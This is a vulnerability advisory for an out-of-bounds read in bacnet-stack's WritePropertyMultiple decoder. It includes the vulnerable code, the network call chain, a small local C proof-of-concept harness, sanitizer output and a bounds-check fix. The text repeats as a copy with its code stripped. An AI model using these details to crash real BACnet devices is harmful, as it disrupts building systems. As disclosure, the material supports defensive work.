Summary
An out-of-bounds read vulnerability in bacnet-stack's WritePropertyMultiple service decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending a truncated WPM request. The vulnerability stems from wpm_decode_object_property() calling the deprecated decode_tag_number_and_value() function, which performs no bounds checking on the input buffer. A crafted BACnet/IP packet with a truncated property payload causes the decoder to read 1-7 bytes past the end of the buffer, leading to crashes or information disclosure on embedded BACnet devices.
Affected Versions
- bacnet-stack 1.5.0 (development master at commit 578f507)
- All versions using
wpm_decode_object_property() with the deprecated decode_tag_number_and_value() decoder
The vulnerability exists in src/bacnet/wpm.c and affects any deployment that enables the WritePropertyMultiple confirmed service handler (enabled by default in the reference server).
Details
Discovery
While auditing the bacnet-stack codebase for use of deprecated decoders, I noticed that the recent commit 578f507 ("Secure the BVLC decoders by replacing deprecated primitive and complex data decoders") replaced deprecated decoders in the BVLC layer but left many service decoders untouched. The deprecated decode_tag_number_and_value() function at src/bacnet/bacdcode.c:681 accepts no buffer length parameter and reads up to 7 bytes blindly from whatever pointer it receives.
I traced through wpm_decode_object_property() and found that after decoding the first tag (property identifier), the function immediately calls decode_tag_number_and_value() again at line 125 without any check that the current position len is still within the buffer boundary apdu_len. With a 2-byte input buffer, the first tag decode consumes both bytes, and the second call reads past the end.
The Vulnerable Code
The bug is in src/bacnet/wpm.c, function wpm_decode_object_property():
// src/bacnet/wpm.c lines 114-125
/* tag 0 - Property Identifier */
len += decode_tag_number_and_value(&apdu[len], &tag_number, &len_value);
if (tag_number == 0) {
len += decode_enumerated(&apdu[len], len_value, &enum_value);
wp_data->object_property = enum_value;
} else {
wp_data->error_code = ERROR_CODE_REJECT_INVALID_TAG;
return BACNET_STATUS_REJECT;
}
/* tag 1 - Property Array Index - optional */
len += decode_tag_number_and_value(&apdu[len], &tag_number, &len_value);
Line 115 decodes tag 0 (the property identifier). For a minimal encoding, this consumes 1 byte (tag) + 1 byte (enumerated value) = 2 bytes. After line 117, len = 2.
Line 125 then calls decode_tag_number_and_value(&apdu[2], ...) to look for the optional array index tag. But if the input buffer was exactly 2 bytes, &apdu[2] points one byte past the end. There is no len < apdu_len check between lines 118 and 125.
The deprecated decode_tag_number_and_value() at src/bacnet/bacdcode.c:681 calls decode_tag_number() which unconditionally reads apdu[0] at line 379, and for extended tags also reads apdu[1] at line 382:
// src/bacnet/bacdcode.c lines 374-391
int decode_tag_number(const uint8_t *apdu, uint8_t *tag_number)
{
int len = 1;
if (IS_EXTENDED_TAG_NUMBER(apdu[0])) { // line 379: reads apdu[0]
if (tag_number) {
*tag_number = apdu[1]; // line 382: reads apdu[1]
}
len++;
} else {
if (tag_number) {
*tag_number = (uint8_t)(apdu[0] >> 4);
}
}
return len;
}
This function takes no length parameter. It was explicitly deprecated with the comment "Use bacnet_tag_decode() instead" — the replacement takes an apdu_size parameter and performs bounds checking.
The same pattern repeats at lines 130, 149, and 172 in wpm_decode_object_property(), each calling decode_tag_number_and_value() without a preceding bounds check.
Network Reachability
The WritePropertyMultiple service is registered by default in the reference server implementation:
// src/bacnet/basic/server/bacnet_basic.c line 205
apdu_set_confirmed_handler(
SERVICE_CONFIRMED_WRITE_PROP_MULTIPLE, handler_write_property_multiple);
The full call chain from network input to the vulnerable function:
- BACnet/IP UDP packet received by
bip_receive()
- BVLC header decoded, NPDU parsed
apdu_handler() dispatches to registered confirmed service handler
handler_write_property_multiple() at src/bacnet/basic/service/h_wpm.c:124
write_property_multiple_decode() at h_wpm.c:40 — line 63 calls:
wpm_decode_object_property() at src/bacnet/wpm.c:101 — line 125 calls:
decode_tag_number_and_value() at src/bacnet/bacdcode.c:681 — line 688 calls:
decode_tag_number() at src/bacnet/bacdcode.c:374 — line 379 reads out of bounds
The attacker controls the APDU content and its length. No authentication is required — the APDU handler dispatches the service request before any authentication occurs.
Proof of Concept
The PoC is a C program that calls wpm_decode_object_property() directly with truncated buffers, compiled with AddressSanitizer to detect the out-of-bounds access:
// poc_wpm_oob_read.c (excerpt)
#include "bacnet/wpm.h"
int main(void) {
BACNET_WRITE_PROPERTY_DATA wp_data;
memset(&wp_data, 0, sizeof(wp_data));
// 2-byte buffer: context tag 0 (0x09) + property value (0x55)
// After decoding tag 0, len=2, then line 125 reads apdu[2] -> OOB
uint8_t apdu[2] = { 0x09, 0x55 };
int len = wpm_decode_object_property(apdu, sizeof(apdu), &wp_data);
}
Compile and run:
# Build bacnet-stack with ASan
cmake -B build-asan -DCMAKE_C_FLAGS="-fsanitize=address -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build-asan -j$(nproc)
# Compile PoC
cc -fsanitize=address -g -I src -I src/bacnet \
-o poc_wpm_oob_read poc_wpm_oob_read.c build-asan/libbacnet-stack.a -lm
# Run
./poc_wpm_oob_read
Validation Evidence
Tested on February 21, 2026 against bacnet-stack 1.5.0 (master branch, commit 578f507) built with AddressSanitizer on macOS Darwin 25.1.0.
ASan output:
=================================================================
==97501==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016ef16832
READ of size 1 at 0x00016ef16832 thread T0
#0 decode_tag_number bacdcode.c:379
#1 decode_tag_number_and_value bacdcode.c:688
#2 wpm_decode_object_property wpm.c:125
#3 main poc_wpm_oob_read.c:46
This frame has 5 object(s):
[1680, 1682) 'apdu' (line 41) <== Memory access at offset 1682 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow bacdcode.c:379 in decode_tag_number
The buffer apdu occupies stack offsets [1680, 1682) — exactly 2 bytes. The read at offset 1682 is 1 byte past the end, confirming the out-of-bounds access.
The execution trace matches precisely:
wpm_decode_object_property() at wpm.c:125 calls decode_tag_number_and_value(&apdu[2], ...) where the buffer only has 2 bytes (indices 0-1)
decode_tag_number_and_value() at bacdcode.c:688 calls decode_tag_number()
decode_tag_number() at bacdcode.c:379 reads apdu[0] relative to the passed pointer, which is absolute apdu[2] — one byte past the allocated buffer
Recommended Fix
Replace the deprecated decode_tag_number_and_value() calls in wpm_decode_object_property() with the bounds-checked bacnet_tag_decode(), and add explicit bounds checks before each tag decode:
// Before each decode_tag_number_and_value call, add:
if (len >= apdu_len) {
wp_data->error_code = ERROR_CODE_REJECT_MISSING_REQUIRED_PARAMETER;
return BACNET_STATUS_REJECT;
}
This fix and additional replacement of deprecated functions with bounds checked function are completed in pull-request [1244](https://github.com/bacnet-stack/bacnet-stack/pull/1244)
Impact
This is an unauthenticated remote vulnerability. An attacker on the BACnet network can:
- Crash BACnet devices by triggering the OOB read with a single crafted packet
- Potentially leak adjacent memory contents (information disclosure)
- Target any device running bacnet-stack with the WritePropertyMultiple handler enabled (default configuration)
Summary
An out-of-bounds read vulnerability in bacnet-stack's WritePropertyMultiple service decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending a truncated WPM request. The vulnerability stems from
wpm_decode_object_property()calling the deprecateddecode_tag_number_and_value()function, which performs no bounds checking on the input buffer. A crafted BACnet/IP packet with a truncated property payload causes the decoder to read 1-7 bytes past the end of the buffer, leading to crashes or information disclosure on embedded BACnet devices.Affected Versions
wpm_decode_object_property()with the deprecateddecode_tag_number_and_value()decoderThe vulnerability exists in
src/bacnet/wpm.cand affects any deployment that enables the WritePropertyMultiple confirmed service handler (enabled by default in the reference server).Details
Discovery
While auditing the bacnet-stack codebase for use of deprecated decoders, I noticed that the recent commit 578f507 ("Secure the BVLC decoders by replacing deprecated primitive and complex data decoders") replaced deprecated decoders in the BVLC layer but left many service decoders untouched. The deprecated
decode_tag_number_and_value()function atsrc/bacnet/bacdcode.c:681accepts no buffer length parameter and reads up to 7 bytes blindly from whatever pointer it receives.I traced through
wpm_decode_object_property()and found that after decoding the first tag (property identifier), the function immediately callsdecode_tag_number_and_value()again at line 125 without any check that the current positionlenis still within the buffer boundaryapdu_len. With a 2-byte input buffer, the first tag decode consumes both bytes, and the second call reads past the end.The Vulnerable Code
The bug is in
src/bacnet/wpm.c, functionwpm_decode_object_property():Line 115 decodes tag 0 (the property identifier). For a minimal encoding, this consumes 1 byte (tag) + 1 byte (enumerated value) = 2 bytes. After line 117,
len = 2.Line 125 then calls
decode_tag_number_and_value(&apdu[2], ...)to look for the optional array index tag. But if the input buffer was exactly 2 bytes,&apdu[2]points one byte past the end. There is nolen < apdu_lencheck between lines 118 and 125.The deprecated
decode_tag_number_and_value()atsrc/bacnet/bacdcode.c:681callsdecode_tag_number()which unconditionally readsapdu[0]at line 379, and for extended tags also readsapdu[1]at line 382:This function takes no length parameter. It was explicitly deprecated with the comment "Use
bacnet_tag_decode()instead" — the replacement takes anapdu_sizeparameter and performs bounds checking.The same pattern repeats at lines 130, 149, and 172 in
wpm_decode_object_property(), each callingdecode_tag_number_and_value()without a preceding bounds check.Network Reachability
The WritePropertyMultiple service is registered by default in the reference server implementation:
The full call chain from network input to the vulnerable function:
bip_receive()apdu_handler()dispatches to registered confirmed service handlerhandler_write_property_multiple()atsrc/bacnet/basic/service/h_wpm.c:124write_property_multiple_decode()ath_wpm.c:40— line 63 calls:wpm_decode_object_property()atsrc/bacnet/wpm.c:101— line 125 calls:decode_tag_number_and_value()atsrc/bacnet/bacdcode.c:681— line 688 calls:decode_tag_number()atsrc/bacnet/bacdcode.c:374— line 379 reads out of boundsThe attacker controls the APDU content and its length. No authentication is required — the APDU handler dispatches the service request before any authentication occurs.
Proof of Concept
The PoC is a C program that calls
wpm_decode_object_property()directly with truncated buffers, compiled with AddressSanitizer to detect the out-of-bounds access:Compile and run:
Validation Evidence
Tested on February 21, 2026 against bacnet-stack 1.5.0 (master branch, commit 578f507) built with AddressSanitizer on macOS Darwin 25.1.0.
ASan output:
The buffer
apduoccupies stack offsets [1680, 1682) — exactly 2 bytes. The read at offset 1682 is 1 byte past the end, confirming the out-of-bounds access.The execution trace matches precisely:
wpm_decode_object_property()atwpm.c:125callsdecode_tag_number_and_value(&apdu[2], ...)where the buffer only has 2 bytes (indices 0-1)decode_tag_number_and_value()atbacdcode.c:688callsdecode_tag_number()decode_tag_number()atbacdcode.c:379readsapdu[0]relative to the passed pointer, which is absoluteapdu[2]— one byte past the allocated bufferRecommended Fix
Replace the deprecated
decode_tag_number_and_value()calls inwpm_decode_object_property()with the bounds-checkedbacnet_tag_decode(), and add explicit bounds checks before each tag decode:Impact
This is an unauthenticated remote vulnerability. An attacker on the BACnet network can: